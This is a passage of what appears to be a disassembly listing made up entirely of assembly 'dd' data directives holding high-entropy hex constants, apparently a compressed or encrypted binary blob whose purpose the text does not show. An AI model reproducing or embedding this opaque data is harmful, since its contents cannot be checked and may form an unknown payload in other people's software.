		dd 6F324200h, 59ECABB3h, 3DBB00F4h, 0F082E283h,	23008D5Bh
		dd 19636045h, 31FFFDE5h, 48E0C09Dh, 0E0544049h,	6D201081h
		dd 86C41E68h, 0FE04C0E9h, 0E5C9E2E6h, 8DA00695h, 0F0A70021h
		dd 0D24FBCBFh, 0D7050325h, 70E151B8h, 5ECA9404h, 46589496h
		dd 0BFE3020Eh, 31F6FDFEh, 0F2A51073h, 0B66901BFh, 0DE2360AEh
		dd 5DB3E424h, 11F87C54h, 45A44D00h, 29AE6837h, 0C8E45007h
		dd 8C48FDB2h, 0ECC150E6h, 446D0092h, 0BC7D7F9Fh, 22ECD21Ah
		dd 80A5473Dh, 0B703B802h, 628FF08h, 6D4EFA13h, 0CE00897Ah
		dd 0DA4499C5h, 0FAC431Eh, 1813814Fh, 0C2BDB6AEh, 0F30538BAh
		dd 0F991E897h, 0A4DEE80h, 0B9C2DEEBh, 414F5424h, 299DF60Eh
		dd 515380F1h, 0DB8DACFDh, 97479C00h, 151F72EFh,	0F92A3BB6h
		dd 0DD751800h, 0E25295B8h, 5009AE31h, 48404C35h, 7A0E28DEh
		dd 9C28C08Fh, 495E634Eh, 0A7126CEAh, 406C5C9h, 731CD66h
		dd 80A81A97h, 8C4220BBh, 363B234Ch, 9A4877C8h, 0B7F90014h
		dd 7C801152h, 0D0FE25h,	37540F4Ch, 5EA902B3h, 69D43854h
		dd 4113FA00h, 2E31804Eh, 74AE7617h, 0A8B0672Ah,	82CA14E8h
		dd 0E4301510h, 0FE3708BFh, 0A458E34Eh, 0DBF01EBh, 0C8D65072h
		dd 7A7CD42Bh, 5455D348h, 1F8C1238h, 0D402BFDFh,	71882856h
		dd 0BFEEA180h, 0E234C0CCh, 0DC60A8AFh, 127B31h,	67570DC5h
		dd 7FE61FF2h, 0A0D1A724h, 244AC480h, 6EBFC7EFh,	9F435165h
		dd 2000A699h, 0BE303A55h, 93AF86h, 28DF0EE8h, 0B76F9C73h
		dd 1529A09h, 3240098h, 0A8F707FEh, 257948ACh, 0CCC8391Ah
		dd 50C1D4D5h, 57E1C7FEh, 4B58A19Fh, 48105F3Bh, 8C071862h
		dd 0A91ABAD0h, 0E0ACFB74h, 41212830h, 2D008C10h, 0D91421E8h
		dd 0CC3834DFh, 19D1BE78h, 376F4C03h, 18914ACCh,	41FC7B59h
		dd 54482582h, 0E908405Dh, 40B3B3F8h, 0E5283801h, 19FEE445h
		dd 304410DBh, 0C9B50028h, 16CB0831h, 434CD018h,	100E2398h
		dd 0C8ECC8B2h, 4E1C04D5h, 0C3B098D3h, 21BCFE89h, 0D73BC43Bh
		dd 51B93102h, 4C616181h, 280C791Dh, 0CD20C0C6h,	0E2541397h
		dd 0ACEC5077h, 16013523h, 0ABACE8Ch, 3B882A18h,	0CF8C000Eh
		dd 5AF1CB9h, 8F3F67FBh,	4C0801F7h, 0D4668027h, 385AA180h
		dd 0A8EFA72Fh, 24B74F00h, 49459F39h, 0C7F626D7h, 904676C4h
		dd 0BA4A1Dh, 0CB7A1B9Dh, 7DE87947h, 8224A8A0h, 0FA4E7C04h
		dd 0B8BDE08Bh, 395F3CC3h, 6CACC900h, 0AE6E1FB1h, 0C2460176h
		dd 0B37C84D3h, 0CCE05104h, 0D0A04848h, 19CFDA30h, 0A15780h
		dd 612B645Ch, 0E03BB751h, 5D711E00h, 0AC1DADA3h, 655A0004h
		dd 48ABD49Ah, 7E00E6BCh, 8AB8DBE3h, 300A4E25h, 0C5A0A6CFh
		dd 78503931h, 2AB045D8h, 8F144971h, 0EC90CD3Fh,	0E2C8C71h
		dd 6D08E478h, 37980C75h, 6540CD10h, 5FE2184Eh, 0CBD380B1h
		dd 2F93D9C1h, 87F84412h, 65F0002Dh, 0FB064947h,	80B87CEEh
		dd 98C8120h, 40B77BC6h,	0E95C20D0h, 8CD2BCCCh, 54AFD303h
		dd 2D98FF2h, 52C61B88h,	0E4A134BEh, 20AD41B7h, 3CB042D4h
		dd 0CE02F246h, 0A34E16C0h, 4008C47h, 6D4FC0B7h,	53E2003Ah
		dd 8902A590h, 0F2019BFAh, 20B1ED12h, 65C00379h,	82C9007Eh
		dd 0EBEA924Fh, 19314A9Ah, 786EE877h, 9F96AC50h,	0CCC00057h
		dd 51FC66DBh, 4800D8CBh, 64827C34h, 8383AD5h, 0CFE71297h
		dd 2C39B30Eh, 446D4887h, 85040E62h, 0D3F125A1h,	26DC2889h
		dd 0B9F8009Dh, 2FA7C30Bh, 1A00932Dh, 0C372974h,	499C34FBh
		dd 7B820CE8h, 0A0829405h, 0C502D713h, 0F194848Eh, 17C0CF60h
		dd 11CB4E23h, 0B80B01C1h, 0E5AF7CC0h, 1F988E8h,	0EA371F39h
		dd 0A422C42Fh, 46741050h, 16DE001Fh, 9FD30C93h,	1F4EEEF3h
		dd 137AA62Fh, 4264B561h, 330B81Ch, 45E81128h, 80D6883Ch
		dd 2C283B41h, 0B3168E14h, 30001D46h, 0E899F8CCh, 0CBF92CFFh
		dd 48B8671Ch, 0CE605228h, 0A716C9F1h, 93C503B7h, 5F6FFA34h
		dd 0EAB081A6h, 0D1D3C100h, 6BF7C71Ch, 4A47B53h,	0F24EDD04h
		dd 0E8549117h, 0CA03618h, 61CB8535h, 0D32F185Bh, 4146B1BAh
		dd 0F027A233h, 19BCE7F6h, 123F076h, 0EF55710Fh,	0C335B141h
		dd 0E6364FB8h, 3E4AA000h, 0F318ED62h, 20DC9072h, 982164D5h
		dd 8FFB00F2h, 0F5855C08h, 0FFFDFC17h, 72809D10h, 12C9D58h
		dd 0C56C8682h, 76FFDF7Bh, 0EC65010Ah, 81D8E618h, 162C3611h
		dd 0CC09BFE8h, 8E2CB1EEh, 0BFEFA810h, 4FF9B501h, 7FDE61Dh
		dd 0B70C346h, 372E2146h, 0C3A5E010h, 15AC7682h,	2204B096h
		dd 0B17A5146h, 0A102E47Ch, 1B8C1700h, 0FFFE97E9h, 38A76281h
		dd 0D8E16449h, 46D19E99h, 38357E4Ch, 0C0D74E5Dh, 12381C70h
		dd 81BDF304h, 4CD490AEh, 0E24DC441h, 0C424C83Bh, 0B9E12C81h
		dd 0F1AC0300h, 180CCA5Fh, 31D365F2h, 6ACE00E3h,	1F831C0Dh
		dd 3B5D5B86h, 225100F0h, 7ED9BB48h, 984652CCh, 3365E60Fh
		dd 1C4488F2h, 0F7804805h, 0F44003DAh, 12FB65C3h, 4A3A0171h
		dd 372310F2h, 7BE8D73Ch, 0D26F678Bh, 0E1744081h, 7DA5FF0h
		dd 0EB87088Ah, 0CFE680B9h, 689816E7h, 75298EE2h, 7379DCD9h
		dd 0E83E6218h, 1064C8BDh, 351304D3h, 530CB446h,	249A73F8h
		dd 4981AF12h, 288EF884h, 2BC0BE88h, 0F9A2BCh, 0B9F758C9h
		dd 0B67C3593h, 3401ACBBh, 0C19B7EB2h, 0BABD51E8h, 13C80F58h
		dd 35254A70h, 5EF80E49h, 0A00E39B8h, 36C66F00h,	0A326309Dh
		dd 0A55D0F9Ah, 0D0C04527h, 7619BF38h, 8479C0C8h, 826B6C35h
		dd 5C501120h, 0C4285F7Ch, 3FFF084Ah, 0BA84681Fh, 0B4902D49h
		dd 0A89711D4h, 247F1B88h, 604F18Bh, 987B6659h, 25AFFF09h
		dd 0A49CC2FCh, 0E56014A8h, 0FE1038BFh, 0A3B0E346h, 0BE00BFECh
		dd 28D53CD3h, 17950D7Ch, 4BF7E27Fh, 6C87EF0Ch, 5E16E886h
		dd 121A44A4h, 202D9F5h,	0F1933C80h, 679348D4h, 12A694E4h
		dd 256CDBh, 5424F2D5h, 1774E838h, 0C7DA6712h, 19995040h
		dd 0F58C30h, 8958282Bh,	10F1ED4Fh, 34D02F02h, 49C5E5AEh
		dd 0C180FE40h, 0D61771FFh, 0DF5CC309h, 84998460h, 0C810CB12h
		dd 700FC0FAh, 0E1C32F5Eh, 88CA06EFh, 0B4A4C7h, 99EEACE6h
		dd 687ECB37h, 81B6C102h, 4733E9BDh, 60C46450h, 3F0E9A2Ch
		dd 18791959h, 21F565FCh, 8D009BB5h, 86708CC1h, 7F34C1Bh
		dd 9F9F1ECh, 379711FBh,	8E1AC822h, 5409B275h, 2AACE30Ah
		dd 4E123414h, 9FFF64C0h, 0C500E9A9h, 9961A24Ah,	0CADAA118h
		dd 304DC050h, 516F00B8h, 2834B1FCh, 0D40687ADh,	92EE79FDh
		dd 0A7DE0230h, 0FB71BC8Ah, 0A63B4860h, 65E35C09h, 46DCE8AFh
		dd 79766059h, 0FC12076Bh, 0C0C06780h, 45EA3AD9h, 0CE05403Eh
		dd 6241FE32h, 0B1CFC492h, 1C326EA8h, 0BF6F901Ch, 25CC6C80h
		dd 914B8BF5h, 0E7BBD00h, 221E3075h, 6C690127h, 0E6414872h
		dd 18466B35h, 2D80A809h, 342F3FCCh, 0A069A782h,	5FB64800h
		dd 88F8AB30h, 1B1E82Bh,	7014B2C0h, 0C039AB9Eh, 0F700DA41h
		dd 0E83017A8h, 47AE7B6h, 4B1BC8E6h, 0F84C27Dh, 7EADEA31h
		dd 0E071C842h, 0BFF1A640h, 0D42B0091h, 0B3F695F8h, 67404151h
		dd 0F0264C8Fh, 7FBC4908h, 6E686482h, 0F78D080h,	2151BAB5h
		dd 0C843301Ah, 0AF083B5h, 0FF6502CCh, 383078CDh, 70D041Eh
		dd 90F1F7F2h, 0E5093728h
		dd 7CE27EBCh, 0A9019451h, 5E0BD934h, 4BE95CFCh,	225BB01Eh
		dd 222C7627h, 20AD8214h, 0B4C0E5DEh, 2B14D21Fh,	54C02892h
		dd 4AB3F9CDh, 0E2EC1DD6h, 51E93Eh, 3B4745AAh, 289B4EEAh
		dd 2B9BCF3h, 4C8D58B9h,	808281A5h, 64D182F9h, 61188FD9h
		dd 8E021B3Eh, 65F532Ch,	0B21796Dh, 0A68ADBF0h, 0F7E54400h
		dd 4707A28Dh, 0CA79E77Eh, 0F9A7FF91h, 0E978016Eh, 6A315DF8h
		dd 0D81D0440h, 755E90DEh, 377A006Dh, 0FCF2224Eh, 93E9242h
		dd 8118DDA5h, 23167948h, 5298C500h, 468C125h, 0E4407EC4h
		dd 489B7D28h, 37F90E17h, 8E31A600h, 1618F658h, 1C4D86Eh
		dd 659F880Ch, 0CF58BCC6h, 0C0E67C20h, 2A4B0BEFh, 0A8700A46h
		dd 9C4ACC1Ah, 706C5B21h, 0C601088Eh, 195A26FCh,	2420B548h
		dd 60A8410Ah, 80407EA0h, 9032545Eh, 3B940099h, 4A37DE67h
		dd 0B50E3D34h, 1D7C6A43h, 3C00C357h, 35E7C904h,	0F6CCB6ECh
		dd 7D3B1100h, 9CE87418h, 4AB4A08Ah, 4880822Fh, 0E625431Bh
		dd 0F65F3700h, 0A545D338h, 49CB12D9h, 4020C494h, 1D9F525Ch
		dd 0BE00F8E0h, 2E0EA0B6h, 14E0595h, 0B976659Ch,	248DF151h
		dd 61625EB8h, 48C8DA39h, 278B6Ch, 55EA9498h, 0DF4D60Eh
		dd 1DFFFE0Ah, 180098B4h, 0C17EE545h, 0F3E23FC8h, 0A1010240h
		dd 39BABD09h, 14709EDDh, 0B77C160Eh, 0CB20E061h, 9C204E5Eh
		dd 80D251A7h, 67520566h, 1F023A0h, 4E18C0D0h, 898C73B3h
		dd 60708E0Ah, 0BFCB4B25h, 269498D5h, 42E0F88Dh,	5E052AE6h
		dd 254CF4h, 0D7263364h,	4A84114Dh, 60B9EE00h, 7BFD18CAh
		dd 4C9C0B05h, 0D0C6B32Ah, 0B6CD6645h, 4613643Dh, 0FD542021h
		dd 0C640FE07h, 406E5F1Fh, 0E1029488h, 90070A91h, 0F8B21DC9h
		dd 0EF3B011h, 9E46B3DCh, 0D93962A4h, 0D6593CDBh, 3C3C35ECh
		dd 2B00DFB6h, 391C5CE6h, 0FB0F4637h, 6305A9B2h,	0FD5EBEABh
		dd 0F3F08440h, 963D2Eh,	8FCB22C0h, 5F7FF950h, 0DDCBF01h
		dd 627AB034h, 0D004B42Ch, 0E1989BB8h, 0EC703CC4h, 36008C27h
		dd 688F4902h, 0BDC8299Fh, 0C066C409h, 80980D38h, 947EF237h
		dd 90E8E924h, 71D0B9FCh, 0A2188Ah, 2825AD63h, 0D9F957B8h
		dd 3A0E950Dh, 5AC478F6h, 2C8B5CFEh, 19CAE986h, 0D8E6B500h
		dd 2B989DB1h, 3146001Eh, 61B43FE1h, 224881BDh, 8C304A70h
		dd 82E2E32Ah, 8765B082h, 60A2E504h, 203171F2h, 387EC860h
		dd 66170B8Bh, 74B0A3C9h, 98052200h, 0ECB73A09h,	7C3B050Eh
		dd 0A252CC8Bh, 18E917ACh, 0B913C4A3h, 0FDECD193h, 0F23422D8h
		dd 473F308Ah, 3729441Dh, 50FCC5Fh, 5424C1D9h, 0E460C54Ch
		dd 0F2C18390h, 7408388Bh, 9DBE8214h, 903A4B98h,	36008923h
		dd 0AE9892A5h, 0D2310097h, 68FB3493h, 0F1247A5Dh, 3611440Dh
		dd 6778AE00h, 0E71F053Fh, 4EAC4600h, 25225345h,	0F3951658h
		dd 7E18001Dh, 71FFDFE3h, 5E494817h, 41C44CC2h, 87AD474h
		dd 5397A390h, 2C903416h, 9488C151h, 0C24676CCh,	0B4B7C90Fh
		dd 6F845543h, 0C6E8D993h, 0DF07830Fh, 67C7CBE5h, 760C8589h
		dd 1FFBA4D7h, 80C19130h, 0C77926A0h, 35B80920h,	7082A2BAh
		dd 97180547h, 0A6A18381h, 71106C35h, 44A7A2Fh, 648BE000h
		dd 5AC08AC8h, 79945933h, 3F25767Bh, 0E593E7D1h,	3564C8C5h
		dd 3997FB88h, 1C1D4DF2h, 0D8B34C98h, 723122A0h,	0C61138E6h
		dd 188870Ch, 9459543Ah,	0B77B13C5h, 72D04CA6h, 0CC4C5748h
		dd 8C23F858h, 2C1F8905h, 0A2C0086Ch, 0BE935E22h, 41AD4430h
		dd 0D43F09ABh, 81FB6882h, 7840A0DAh, 70C1A6CCh,	607FE3Ah
		dd 1803202Ch, 0D0A3E246h, 3F81301Ah, 51C40B0h, 95C88076h
		dd 1531BA0Ch, 1452108Eh, 641A45FAh, 19013A23h, 12BAC98Ch
		dd 40882618h, 0A8C0011h, 0EF78F9C8h, 0E078D0EDh, 4E8EB900h
		dd 0DC79B866h, 0C42CA528h, 0F51C602Ch, 786D58F9h, 0EEA1A88Fh
		dd 0FC740B44h, 0C00C0B5h, 213B2D3Eh, 4A927C37h,	0A4A041DAh
		dd 0F01A2A50h, 4103696Bh, 548ABC01h, 0BE338838h, 0A64E0A20h
		dd 1F887B7Dh, 0B734001Bh, 0CA7549B6h, 0F1AEB0A0h, 8C026F28h
		dd 6965EB25h, 0DAC8B390h, 8109009Ch, 0BC22FC4Bh, 4D000FE3h
		dd 3D91B658h, 9821F029h, 317B0204h, 0CBBF97A1h,	6547E05Ch
		dd 0EFB932h, 0ED630546h, 4E097498h, 0EA40CBE8h,	7B05938h
		dd 0E0E24BF9h, 2C3DBF85h, 0AF1A9200h, 5145C1B8h, 1C389ED6h
		dd 0BD3904D0h, 0FE588868h, 8488F94Ah, 0FD058CB6h, 0C45EA27h
		dd 3FC0DCB2h, 0D1612835h, 0CD132EE2h, 34906DE9h, 4472C2h
		dd 1BF7A005h, 98486EADh, 5F0CBD07h, 68112F2h, 9FC04E82h
		dd 0C475F9B5h, 7E00D82Dh, 0ADEAD65Ch, 83019C1Ch, 5147BDE9h
		dd 4B61AED4h, 0CBC3AC41h, 202B2A09h, 0AC012E23h, 725E8292h
		dd 8B88442Fh, 0CC7B01A7h, 518CC04Ah, 33393C5Dh,	0D9393A3Fh
		dd 71122E30h, 0E4BD3032h, 0F8D490C8h, 0C1B566Bh, 0C8648725h
		dd 31A3DCE5h, 64FA9C01h, 6EA42E33h, 0A000C062h,	8E03B0F6h
		dd 0CB0018A7h, 0E1B36BA2h, 0E0905594h, 7AA03080h, 0D3FEABB0h
		dd 0E018A099h, 3E815141h, 6C50895Ah, 34B14343h,	0A88E29A1h
		dd 7EC38988h, 955988BEh, 0C7EB0491h, 0A9DA4329h, 80FD0934h
		dd 17B68054h, 1115CA4h,	0AAA70895h, 0CC02019Dh,	0B816C987h
		dd 44C81849h, 0CD058CEBh, 0BB4E15C0h, 500288Eh,	2838C0B6h
		dd 0C8FE10E9h, 3224D100h, 71AF87E8h, 0F62490C9h, 94064D4Ah
		dd 0FDBBC509h, 8FD1A871h, 83018D18h, 643A7B32h,	34706605h
		dd 41480B22h, 0E04C27FAh, 35090262h, 144CFA4Ch,	0BC4816E4h
		dd 0C5246722h, 4D09E4F1h, 0D4C22B9h, 0C90E00Fh,	230584CDh
		dd 0C2B53B72h, 3E811081h, 4CF3D824h, 0C125D46Bh, 8482B8C2h
		dd 9300D7FFh, 0D671795Ah, 0CB741228h, 0C08F8854h, 58435191h
		dd 0B03CCD01h, 6D2BC8B6h, 40AAC460h, 0A716FF98h, 484CE0Dh
		dd 9110A8A6h, 514812AEh, 2CFD04E4h, 87E8CA07h, 8565C67Dh
		dd 80E8F036h, 823A221Bh, 0AC35E358h, 3B02E0BDh,	0C709A77Eh
		dd 275458C8h, 6890107Ah, 828001FEh, 0CCCD58F2h,	1EAE8D11h
		dd 0A8E88918h, 84B9272Ch, 0D8834E65h, 0AF3802A9h, 2F17BE59h
		dd 0E9E6A08Fh, 6B225816h, 0BCF300A6h, 4947F0B6h, 80B49792h
		dd 2B3B188h, 127E414Ah,	0D864E476h, 74B800E8h, 0EAD8018Ch
		dd 0FE4147B8h, 4A07D7Dh, 0D3223A99h, 5020C8h, 6CCF67C6h
		dd 0E8C2FF9Eh, 11B01795h, 0C12E81D8h, 91CC236Ch, 8D084E9Ah
		dd 0D1F9D8B0h, 0A4E1704h, 8CF9C99Fh, 0C46C752Eh, 0A7D5EAFh
		dd 9C432DCCh, 99D2D30Bh, 0E18D86E4h, 0F8A1375Eh, 32272794h
		dd 0C6490h, 0B84AE5B0h,	0C60C448Ah, 24D1BC3Ah, 0B3F749Dh
		dd 2C923D7h, 19677554h,	258183D6h, 0AC224846h, 35A73704h
		dd 0ADB94861h, 0F6340805h, 9E919CACh, 0ED26F23Ch, 0C0CBC040h
		dd 0EB464E1Bh, 0ED98BD22h, 7236C058h, 53FD1202h, 90E2AF0Ah
		dd 449EC998h, 444FE38h,	124212A6h, 4DA4A481h, 8A8A0CEBh
		dd 18346461h, 0CF8C0817h, 2DC442BAh, 8C0FC05Eh,	0A8615E41h
		dd 0A76D58C4h, 35223632h, 8508544Bh, 84CBF9C5h,	0EDF02D1Ch
		dd 482153Eh, 280230B1h,	0F47F45E6h, 42D44486h, 81283A2Fh
		dd 0E3100CF8h, 0ACDFCC41h, 1284710Ch, 88D6859Fh, 958098F0h
		dd 0C564D0Eh, 0CA88481Fh, 61F801FCh, 367A9941h,	713EA000h
		dd 0D0A38839h, 18452184h, 84300E78h, 11F65521h,	8DCC181h
		dd 2F2A8A1Ch, 127123E4h, 51E9027Fh, 30E965F5h, 2E082027h
		dd 8C1D028Ch, 0A8F2BAC5h
		dd 3C401859h, 1DB98C15h, 1946CF4h, 72594644h, 0C93C232Ah
		dd 99C7434h, 985A4935h,	9DE6E401h, 3F2A5473h, 43F9835h
		dd 8254A04h, 4BE1168h, 0CCD309C5h, 8AD58088h, 412245Eh
		dd 292898E3h, 0F8752144h, 80FEA4BDh, 1A603944h,	0BA29CA8Ch
		dd 291178EAh, 8C11F707h, 7BD1D0EBh, 1904F5B3h, 0E9226B83h
		dd 0E98390DBh, 30B09D6Ah, 0DC5B33ADh, 18F02412h, 0B92E2E50h
		dd 0F254615Ch, 44028EBh, 235AFDC4h, 7F4423BBh, 54250901h
		dd 7830F245h, 17FCA0C2h, 2DC847B7h, 78A0AF7Bh, 22C73B0Fh
		dd 0C6D6CC1Dh, 78C81917h, 2E574ECEh, 0B2E231Ch,	0FBC3B349h
		dd 2545C03Ch, 11C4496h,	99842F41h, 7D557151h, 6A0782E8h
		dd 0C11805CAh, 76681138h, 527B0434h, 0E2356295h, 3074B228h
		dd 0D63F4414h, 0AF27FA7Ah, 1D18E2EEh, 80D711DCh, 0D2C775E6h
		dd 0E4309774h, 97497C79h, 12F232Ch, 0BACC8C1Ch,	882C18FAh
		dd 8C7E143Dh, 0AB559A03h, 4DC0709h, 0A59002F8h,	770A95Dh
		dd 983A0F60h, 70E56FA0h, 97E63BA9h, 96EB7900h, 0ECF9C0DBh
		dd 0C9E75814h, 33122E0h, 60404AFAh, 0A783D903h,	93BCE9B8h
		dd 57872C01h, 2FAD3BAEh, 0E790202Eh, 4B002841h,	7981F0Ch
		dd 0E89C73h, 11622F64h,	0A9B302D0h, 68EEE032h, 91C897D9h
		dd 479C8E90h, 3890DA48h, 606E7708h, 0F1EC2180h,	7B01964Dh
		dd 2AF3E7AAh, 0C203FA5h, 35521261h, 0C7449C99h,	0E0CB1D4Ah
		dd 0CFC0C3C8h, 2B1B4CEh, 0AF7CC1BDh, 3448A139h,	0D512ED24h
		dd 0F5129DBAh, 6D103890h, 2AA9C064h, 0EB1724Eh,	4A3B901h
		dd 0C10BB8D0h, 40ED0470h, 0C558E9BCh, 0C7651040h, 0B1350F02h
		dd 8C4466EBh, 1BCC6C00h, 5880942Fh, 4045B18h, 5C63546Ch
		dd 49110840h, 7B45E9C9h, 529109D4h, 10D47479h, 0C7BD7884h
		dd 26A24CE3h, 49D430h, 0AF89C85Eh, 7B5EC6Fh, 28B38B02h
		dd 4C40CC3Bh, 98E50170h, 515A9337h, 0BC1C6486h,	22B86158h
		dd 1B70367h, 57C8F670h,	77F1AD80h, 0B30D74B2h, 387AD931h
		dd 95AC006Ah, 665E7B4Eh, 6988FB54h, 9FEF7200h, 0AA138DEh
		dd 41403CBh, 34F0C9DCh,	0B6D5F001h, 33A59381h, 5710883Ch
		dd 8EC513D0h, 0FFC79405h, 59B938C0h, 38963071h,	37F2A38h
		dd 46768CB4h, 34B60026h, 0A03DF1F4h, 72E11AF8h,	7C58CAB3h
		dd 0B9464F12h, 0DC040013h, 1F00BE69h, 0C76FF1CEh, 8C90B09Fh
		dd 0C42F00E1h, 269925Dh, 0E002014Ch, 50F57903h,	541C421Bh
		dd 72465E9Ch, 0B57C270Bh, 5AAE8410h, 0B68090E4h, 9CA09FD9h
		dd 0E7868E89h, 0CE184800h, 9B4EE43Dh, 0CC40075h, 0C045A96Eh
		dd 1177047Ah, 0E8BCA195h, 0E0EF8941h, 17A9BC78h, 2184B9Dh
		dd 0F3E33634h, 0FA716C51h, 8A013618h, 4A7002DDh, 0EC4CAF71h
		dd 0C22F01DFh, 1BF24E6Eh, 80F049A7h, 24A5B518h,	0FA6FE33Ch
		dd 0DEF528FFh, 0D44B2AFCh, 2C53E0F0h, 4078D34Ch, 1272C7F7h
		dd 71114901h, 0F67956FCh, 2560203Ah, 0AE01CC9Eh, 49145A75h
		dd 1CEC2E81h, 94B50038h, 0A0500EE8h, 0B89371B2h, 0D2853509h
		dd 0FA4D0C94h, 1C80E3F3h, 4BBB7E0Ah, 0FE02C653h, 71D52D9Fh
		dd 0E5A74154h, 3E9F08F4h, 29EBD9AEh, 35256C53h,	90123BF4h
		dd 0DEAC3085h, 36001C7Ch, 27E6BBC7h, 0E87949Fh,	525F42D1h
		dd 2203C6C1h, 0AF29D015h, 0EA7880B5h, 5E09AE0Eh, 3014876Bh
		dd 1C67971Dh, 0D97E4801h, 0DBED7282h, 30785FFCh, 0B21764F9h
		dd 0DC0901BEh, 0DC9D59B8h, 406E4564h, 816FFB9Ch, 0F4CF0ADh
		dd 5A1A7628h, 51288341h, 7B6242F0h, 27325D02h, 3741B022h
		dd 6F00DAD3h, 16B50593h, 7D82AEA0h, 3A011AF3h, 0CE179BDh
		dd 0F8C7149Fh, 0C304C578h, 0B2A545C4h, 3C40C038h, 179EE28h
		dd 0C4899575h, 0C2BB0A54h, 49AF3060h, 1588249h,	2C740B24h
		dd 8C725EFEh, 0A4308500h, 0F57BB232h, 0B5A62500h, 2915AC9h
		dd 54D907FAh, 726E0F9Bh, 9869F188h, 45CA82E4h, 0D02BEE79h
		dd 0B7FEF828h, 0FA91E817h, 0F88EE484h, 5A51135Ch, 27E01CA0h
		dd 18E86682h, 0B4006E80h, 8EB8728h, 0B35267Dh, 0D9487EC8h
		dd 0D244D067h, 4EA5B060h, 0C8D70A17h, 85A46446h, 0C4288588h
		dd 672560D3h, 0F1D000B0h, 586B5378h, 480F46DFh,	814F50AEh
		dd 28457C57h, 2A7AA1FBh, 7B13FC28h, 2D14F3B5h, 0CC0E437h
		dd 8F565946h, 0C2057F28h, 81A249CBh, 0E51064F9h, 228004BDh
		dd 0E4E29586h, 0DE01DB22h, 97E7A128h, 162E1FF2h, 23FC3A10h
		dd 0D4CC0029h, 4D1C2A2Bh, 30394A1Fh, 0A0C73880h, 778A81B8h
		dd 16889A95h, 17F1CECh,	4958CCB4h, 0CFFBE8EBh, 0DF75E905h
		dd 0A8E663FAh, 0DE1E78E0h, 600106E2h, 75045948h, 0F0886386h
		dd 44016737h, 2F665334h, 206D1197h, 2E0825D8h, 1400907Ah
		dd 16FBEED4h, 4A125362h, 0DA640947h, 0B927ACC8h, 61777B00h
		dd 7DE8A75Bh, 84E74B7Fh, 88748ED0h, 3409C08Fh, 470213D7h
		dd 5498232Fh, 8584F14Ch, 0FCE45352h, 8CD5BCF8h,	19566A02h
		dd 74F5B7FEh, 9621849Ch, 0D4E6007Eh, 9A6F4C94h,	39082754h
		dd 8A647867h, 0BD2B1C60h, 5867EF00h, 0E82239F7h, 0C7FD16CAh
		dd 8EB213E1h, 0C12EC8D8h, 63813574h, 57120854h,	828829CBh
		dd 943251FEh, 0DC795A31h, 5306B4Eh, 0CEDADCC1h,	0C35BA840h
		dd 3F204Ah, 6E1428E1h, 0C7A20DE2h, 8B095739h, 41262145h
		dd 0F98DE798h, 30A176E2h, 0F0FE73C4h, 1F231400h, 0C8E32D08h
		dd 5D7F27E7h, 47D81084h, 0C6B409ADh, 0B2BF9904h, 30C2F20Ch
		dd 2F0027DFh, 76116783h, 7FD3DC3Eh, 0DDF200F9h,	242581CFh
		dd 7B38B0C6h, 3D9F0960h, 371002D1h, 0F1F4D1C5h,	0A918C2h
		dd 0E099544Fh, 2B447995h, 685DAE2Fh, 1F596734h,	0E8077Eh
		dd 4AA6B503h, 80ADD37h,	50FA5431h, 618E3881h, 0A070A699h
		dd 0A3D4443Fh, 0B592AF0h, 39AF1EB0h, 3000A8D3h,	65F54445h
		dd 1461485Bh, 16038384h, 40F77428h, 8127BDC5h, 0CA508494h
		dd 0F0F8D8B8h, 310E1C8Ch, 0B434CF53h, 0B8599F44h, 4DCC047Ch
		dd 84108277h, 3474E2C1h, 9699207Dh, 0BCB0DA05h,	0E42ECCh
		dd 0EF7F3235h, 54646C61h, 37DF0B00h, 7B2EB91Dh,	58BC4CEDh
		dd 0D642401h, 0C9CFDA7Dh, 40A47CBBh, 9807FDF0h,	35615D80h
		dd 5E65C592h, 0D91B898Ch, 60D3A03Ah, 2D0F4970h,	0E8E477F9h
		dd 0A73EDA00h, 7C711EF6h, 236B026Ah, 0E581E2D8h, 0E445CC44h
		dd 0A0A672C9h, 0E0CF964Ch, 450B5440h, 911131B3h, 93F6FA8h
		dd 44F815C8h, 9178979Fh, 696A808Ah, 9B990C7h, 40E177C5h
		dd 0A8ED7C02h, 4D42C824h, 0DE1BF2h, 0EE1C3980h,	5E4FEE8h
		dd 981E2811h, 0F234B244h, 50103026h, 0BE33EC00h, 113527ACh
		dd 7152127Bh, 0CEF0D19Eh, 3A930041h, 9E49C55h, 649FBE6Eh
		dd 12808F91h, 0B0D6063Ah, 29A3470Ah, 4A97A84Bh,	57B3CD0h
		dd 0BA80C48Eh, 0C0020043h, 9A365DBFh, 5A9313DCh, 0C840F0DDh
		dd 907EFD22h, 0C7E3386Ch, 7BCA7602h, 44BA9B7h, 0A1867FE0h
		dd 526ED30Bh, 0D904517Dh, 0CF4188Eh, 0D56C6797h, 89091A8h
		dd 8CC07C64h, 1672FD4Eh, 2134C0E8h, 0C73FF3E7h,	0E06802BFh
		dd 0F4316E42h, 0D1DE1898h, 0ED245291h, 7D46307Ch, 88A4250h
		dd 43C785B7h, 401E5E2Ah, 3D093AB8h, 20C4FA87h, 220AFDF3h
		dd 84C6B548h, 0EB24D310h, 60B464ACh, 2EE42837h,	73681C45h
		dd 7B282FE0h, 0EBBF1E00h, 29AE928Ah, 4822FFB7h,	2DBE03Eh
		dd 0CA270AA8h, 0C5B3D301h, 0DB88384Eh, 8D1344C0h, 1FB4EAB2h
		dd 923D7A85h, 51884FC7h
		dd 6EC9B41h, 863BE069h,	539F7001h, 65ED5AB7h, 99DC202Bh
		dd 0E6000A50h, 7D7AD748h, 131EA02Eh, 0A257AB74h, 301FE254h
		dd 0A200563Fh, 0C271DE37h, 144CFA7h, 68E5DF10h,	0C1D0419Fh
		dd 21C47CBBh, 5620AE14h, 4007D946h, 0D0DF298Ch,	3496F349h
		dd 4F542500h, 0AC8D3808h, 8E711Dh, 3FC15029h, 23253CCDh
		dd 65E7E41Dh, 0E52CC02Fh, 0D4A09F5Dh, 16F82737h, 9ADB0C00h
		dd 0F1710B43h, 27FEC13h, 7AC04A72h, 8CB7CBE6h, 7C7E2180h
		dd 64A5E9h, 0D99C0D14h,	0FFFE7D47h, 1491B15Fh, 0C038D321h
		dd 49C30B70h, 0A0702251h, 0BCA0E04Ch, 9058C74h,	53CBAD73h
		dd 0B56B94A4h, 5276C890h, 61C3E200h, 49F264D1h,	0EE483021h
		dd 0B7AFF980h, 0B4801526h, 1892400h, 3BB413h, 3FB50492h
		dd 6F1A063Dh, 1E31AF09h, 0FA88A0DCh, 0B8D3EEF1h, 9C8C0284h
